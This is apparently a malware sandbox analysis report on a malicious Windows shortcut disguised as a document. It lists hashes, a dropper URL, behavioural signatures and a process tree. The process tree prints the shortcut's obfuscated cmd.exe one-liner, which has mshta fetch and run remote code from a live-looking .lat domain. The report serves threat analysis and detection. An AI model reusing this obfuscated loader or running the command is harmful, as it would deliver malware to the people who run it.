Analysis
- max time kernel
40s - max time network
37s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 17:50
Static task
static1
Behavioral task
behavioral1
Sample
DOC-ZZDXHI.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-ZZDXHI.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-ZZDXHI.lnk
- Size 2KB
- Sample260803-wer7jsgn51
- SHA256 57e9791a400e81a2d04ab9a0fd8d3f93eed6c06fe8bfb668b15d94c62214cdd6
- MD5 c2b48d7ca165d25dbfa82c05f79bc49b
- SHA1 c8d78741b3c369c61eeb069a4e8617078c68df45
- SHA512 d24bf5f20c82a478ff61e5fa64a34bcd9d8ba197eb66d4d7c115494ab593048859e368e9401f8f8a8ae6cdb944c20d795d9552f6e5c452f5fdd371112d2c014d
- TLSH T1E54197502ADD41D8F3BB4E72EDBE371949BBB9468E70C6AE0840800C4422B05D537BA6
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2500 cmd.exe 712 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2500 wrote to memory of 712 2500 cmd.exe 90 PID 712 wrote to memory of 4412 712 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-ZZDXHI.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2500 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set VD=netnxvaypfmstnet&set qpm=9ismscp&&set hT=vhtam6&set wHyE=cachegirlakhhxjegdcache&set jZNXp=winuueftnpslzsggoyhhwin&set QLBR=syslgwgkbwzmsys&set ldkqw=cfgdfodwqzmlqhmcfg&set hYw=gsm&&set uP=k2gta1zn&&set DtrZ=y3zrtzv&set HozP=infqyutswinf&set QglBr=bakowjvrhbak&&set auSLt=ht@t@ps:@//ma@-p@d@ffille@r@.@lat/h/[email protected]@hp@?r@=39@14@69F@B5@D82DB&&start /b !qpm:~3,2!!hT:~1,3! !auSLt:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:712 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4412
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